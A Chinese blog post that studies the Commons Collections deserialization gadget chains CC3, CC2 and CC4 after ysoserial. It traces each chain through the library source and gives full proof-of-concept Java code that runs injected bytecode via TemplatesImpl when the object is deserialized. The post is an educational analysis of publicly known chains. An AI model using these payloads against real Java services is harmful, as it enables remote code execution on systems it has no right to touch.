public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true); } return transformer; }

现在我们需寻找哪个类的方法调用了newTransformer()Find Usages一下发现在TrAXFilter类的构造方法直接可以调用TemplatesImplnewTransformer()

public class TrAXFilter extends XMLFilterImpl { private Templates _templates; private TransformerImpl _transformer; private TransformerHandlerImpl _transformerHandler; private boolean _useServicesMechanism = true; public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }

但是我们可以注意到TrAXFilter这个类是不能进行序列化的,但是它的类是可以序列化的,同时我们可以在commons-collections中找到这样一个类:InstantiateTransformer,它的transform方法可以实例化一个类

public Object transform(Object input) { try { if (input instanceof Class == false) { throw new FunctorException( "InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InstantiateTransformer: The constructor must exist and be public "); } catch (InstantiationException ex) { throw new FunctorException("InstantiateTransformer: InstantiationException", ex); } catch (IllegalAccessException ex) { throw new FunctorException("InstantiateTransformer: Constructor must be public", ex); } catch (InvocationTargetException ex) { throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex); } }

所以我们整体的思路就出来了

ysoserial整体思路:

--ObjectInputStream.readObject() --AnnotationInvocationHandler.readObject() --Map(Proxy).entrySet() --AnnotationInvocationHandler.invoke() --LazyMap.get() --ChainedTransformer.transform() --ConstantTransformer.transform() --InstantiateTransformer.transform() --TrAXFilter(Templates templates) --TemplatesImpl.newTransformer() --TemplatesImpl.getTransletInstance() --TemplatesImpl.defineTransletClasses() --TemplateClassLoader.defineClass() --TemplatesImpl.getTransletInstance()

完整的POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class CC32 { public static void main(String[] args) throws Exception{ byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class")); TemplatesImpl templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code}); setFieldValue(templatesImpl, "_name", "name"); setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), InstantiateTransformer.getInstance(new Class[]{Templates.class}, new TemplatesImpl[]{templatesImpl}), }; ChainedTransformer chainedtransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<Object,Object>(); hashMap.put("value","123"); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer); Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class); clazzDeclaredConstructor.setAccessible(true); Object obj = clazzDeclaredConstructor.newInstance(Target.class,lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, (InvocationHandler) obj); Object o = clazzDeclaredConstructor.newInstance(Override.class,mapProxy); //serialize(o); unerialize("CC32.ser"); }

运行结果:

Commons-Collections的变动

背景:

在 2015 年底 commons-collections 反序列化利用链被提出时,Apache Commons Collections 有以下两个分支版本:

  • commons-collections:commons-collections
  • org.apache.commons:commons-collections4

可⻅,groupId 和 artifactId 都变了。前者是 Commons Collections 老的版本包,当时版本号是3.2.1,后者是官方在 2013 年推出的 4 版本,当时版本号是 4.0。

官方认为旧的 commons-collections 有一些架构和 API 设计上的问题,但修复这些问题,会产生大量不能向前兼容的改动。所以,commons-collections4 不再认为是一个用来替换 commons-collections 的新版本,而是一个新的包,两者的命名空间不冲突,因此可以共存在同一个项目中。

那么,既然 3.2.1 中存在反序列化利用链,那么 4.0 版本是否存在呢?

内部包的改动:

前后变化的比较大,俩个版本的库是能够共存的,放在pom.xml中比较一下

<dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> </dependencies>

用之前的 CommonsCollections6 利用链做个例子,然后将所有 import org.apache.commons.collections.* 改成 import org.apache.commons.collections4.*

PriorityQueue利用链

ysoserial 还为 commons-collections4 准备了两条新的利用链,那就是 CommonsCollections2CommonsCollections4

commons-collections 这个包之所有能攒出那么多利用链来,除了因为其使用量大,技术上的原因是其中包含了一些可以执行任意方法的 Transformer。所以,在 commons-collections 中找 Gadget 的过程,实际上可以简化为,找一条从 Serializable#readObject() 方法到 Transformer#transform() 方法的调用链。transform后面的部分就是我们熟悉的命令执行或代码执行。

CC2

利用链分析:

在 CC2 中,用到的两个关键类是:

  • java.util.PriorityQueue
  • org.apache.commons.collections4.comparators.TransformingComparator

PriorityQueue

优先队列(Priority Queue):java中基于二叉推实现。正常进队,按照优先级出的队列,优先级由comparator来决定。

java.util.PriorityQueue 类重写了 readObject()方法:

private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject(); // Read in (and discard) array length s.readInt(); queue = new Object[size]; // Read in all elements. for (int i = 0; i < size; i++) queue[i] = s.readObject(); // Elements are guaranteed to be in "proper order", but the // spec has never explained what that might be. heapify(); }

org.apache.commons.collections4.comparators.TransformingComparator 中的compare调用 transform() 方法的函数:

public int compare(final I obj1, final I obj2) { final O value1 = this.transformer.transform(obj1); final O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); }

接下来看下这个 Gadget 的串联方式: PriorityQueue#readObject() 中调用了 heapify() 方法, heapify() 中调用了 siftDown()siftDown() 中调用 siftDownUsingComparator()siftDownUsingComparator() 中调用的 comparator.compare() ,于是就连接到上面的 TransformingComparator 了:

private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = x; }

总结下来就是:

当优先队列(Priority Queue)反序列化的时候调用heapify()方法恢复二叉推的结构,将数组里面的元素按优先级排列。排列的时候会涉及到优先级的比较,这个时候就会调用对应的compare()方法

  • java.util.PriorityQueue 是一个优先队列(Queue),基于二叉堆实现,队列中每一个元素有自己的优先级,节点之间按照优先级大小排序成一棵树。
  • 反序列化时调用 heapify() 方法,是为了反序列化后,需要恢复这个结构的顺序。
  • 排序是靠将大的元素下移实现的。siftDown() 是将节点下移的函数, 而 comparator.compare() 用来比较两个元素大小。
  • TransformingComparator 实现了 java.util.Comparator 接口,这个接口用于定义两个对象如何进行比较。 siftDownUsingComparator() 中就使用这个接口的 compare() 方法比较树的节点。

CC2这一条利用的是:InvokerTransformer无数组的代码执行。

整体思路:

--PriorityQueue.readObject() --PriorityQueue.heapify() --PriorityQueue.siftDown() --PriorityQueue.siftDownUsingComparator() --TransformingComparator.compare() --InvokerTransformer.transform() --TemplatesImpl.newTransformer() --TemplatesImpl.getTransletInstance() --TemplatesImpl.defineTransletClasses() --TemplateClassLoader.defineClass() --TemplatesImpl.getTransletInstance()

完整POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; public class CC2 { public static void main(String[] args) throws Exception { byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class")); TemplatesImpl templatesImpl = new TemplatesImpl(); HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code}); HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name"); HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl()); InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1)); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); priorityQueue.add(templatesImpl); priorityQueue.add(1); Class clazz = TransformingComparator.class; Field transformer = clazz.getDeclaredField("transformer"); transformer.setAccessible(true); transformer.set(transformingComparator,invokerTransformer); //serialize(priorityQueue); unserialize("CC2.ser"); } public static void serialize(Object obj) throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC2.ser")); objectOutputStream.writeObject(obj); System.out.println("Successful Serialize"); } public static void unserialize(String filename) throws Exception{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); System.out.println("Successful Unserialize"); } }

CC4

版本限制:

jdk版本:jdk7,8没有限制

commons-collections:

<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>

背景:

在CC2的利用背景下,改进 PriorityQueue 利用链:因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。所以便有了 CC4,CC4 只是将 CC2 中的 InvokerTransformer 替换为了 InstantiateTransformer。

利用链分析:

首先需要明白:如果要getshell:1.命令执行,2.代码执行。CC4的链虽说是引入了新的commons-collections包,但是整体的思路还是没有发生变化,后半部分可以使用命令执行(Runtime类)或者代码执行(Templatelmpl调用链)。在ysoserial中使用的是无InvokerTransformer的代码执行。我按照ysoserial的利用链模式来分析。

byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class")); TemplatesImpl templatesImpl = new TemplatesImpl(); HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code}); HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name"); HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templatesImpl), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

所以直接对transform方法开始FindUsagesTransformingComparatorcompare()方法可以调用chainedTransformertransform()

public int compare(final I obj1, final I obj2) { final O value1 = this.transformer.transform(obj1); final O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); }

compare方法进行FindUsages可以找到PriorityQueue类的readObject()方法里调用heapify()heapify()方法里调用了siftDown()siftDown()方法里调用了siftDownUsingComparator(k, x),其又可以调用TransformingComparator类的compare方法

private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = x; }

所以整条利用链就可以这样写:

import com.sun.net.httpserver.Authenticator; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; public class CC4 { public static void main(String[] args) throws Exception { byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class")); TemplatesImpl templatesImpl = new TemplatesImpl(); HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code}); HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name"); HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templatesImpl), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); serialize(priorityQueue); unserialize("CC4.ser"); }

结果就是序列化和反序列化都没有弹出计算器。我们debug一下找错误,既然反序列化是从readObject()开始,我们就从PriorityQueuereadObjct()开始打断点,问题出现在了:

private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); }

我们需要进行priorityQueue.add(1)俩次才可以解决问题,(因为这里涉及到数据结构,但我没有学过,所以这里做个标记)。所以整理后的利用链如下:

public class CC4 { public static void main(String[] args) throws Exception { byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class")); TemplatesImpl templatesImpl = new TemplatesImpl(); HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code}); HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name"); HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templatesImpl), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); priorityQueue.add(1); priorityQueue.add(2); //serialize(priorityQueue); unserialize("CC4.ser"); }

结果我们发现序列化和反序列化都可以弹出计算器,跟进priorityQueue.add()发现其最终会调用transform()方法,和前面的CC6一样,我们首先需要将其断开,再add()以后利用反射重新将其连接即可。

利用链思路:

完整POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; public class CC4 { public static void main(String[] args) throws Exception { byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class")); TemplatesImpl templatesImpl = new TemplatesImpl(); HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code}); HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name"); HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(new ConstantTransformer(1)); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Class clazz = ChainedTransformer.class; Field iTransformers = clazz.getDeclaredField("iTransformers"); iTransformers.setAccessible(true); iTransformers.set(chainedTransformer,transformers); //serialize(priorityQueue); unserialize("CC4.ser"); }

运行结果:

参考链接

Ysoserial 利用链分析

Java 反序列化漏洞系列-2

ysoserial源代码


__EOF__

本文作者BUTLER
本文链接https://www.cnblogs.com/BUTLER/p/16478574.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   B0T1eR  阅读(1248)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· AI 智能体引爆开源社区「GitHub 热点速览」
· 写一个简单的SQL生成工具
点击右上角即可分享
微信分享提示